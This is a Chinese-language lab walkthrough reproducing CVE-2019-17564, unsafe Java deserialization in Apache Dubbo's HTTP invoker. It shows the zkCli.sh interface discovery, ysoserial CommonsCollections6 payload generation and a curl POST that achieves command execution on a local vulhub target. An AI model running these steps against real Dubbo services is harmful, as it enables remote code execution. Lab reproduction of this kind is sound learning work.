Aapche Dubbo 不安全的 Java 反序列化 (CVE-2019-17564)

漏洞描述

Apache Dubbo 是一个高性能的、基于 Java 的开源 RPC 框架。

Apache Dubbo 支持不同的协议,它的 HTTP 协议处理程序是 Spring Framework 的 .org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter

Spring Framework 的安全警告显示,HttpInvokerServiceExporter中存在不安全的 Java 反序列化,这可能导致 RCE 漏洞:

警告:请注意由于不安全的 Java 反序列化而导致的漏洞:纵的输入流可能导致不需要的代码 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端 因此,不要将 HTTP 调用程序端点暴露给不受信任的客户端,而仅在您自己的服务之间公开。一般来说,我们强烈建议使用任何其他消息格式(例如 JSON)。

该漏洞影响 Apache Dubbo 2.7.4 及更早版本,在 2.7.5 之后 Dubbo 替换为 .HttpInvokerServiceExportercom.googlecode.jsonrpc4j.JsonRpcServer

参考链接。

漏洞环境及利用

搭建docker环境

访问8080端口

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

tar  -xvf  zookeeper-3.3.3.tar.gz  

解压后,进入Zookeeper执行bin目录下的zkCli.sh

./zkCli.sh  -server  192.168.232.128:2181

 获取RPC接口名称

ysoserial下载链接 :下载好之后直接将文件拖至kali桌面.

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

接着用ysoserial工具生成CommonsCollections6的Payload作为POST Body发送到http://192.168.232.128:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 "touch /tmp/success" > 1.poc                #生成一个创建success的1.poc

curl -XPOST --data-binary @1.poc http://192.168.232.128:8080/org.vulhub.api.CalcService #将Payload作为POST Body发送到靶机.这里记得换成你靶机的IP

这个地方生成payload需要root权限,前面chmod加权限也没有用

可以看到命令执行成功

 

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>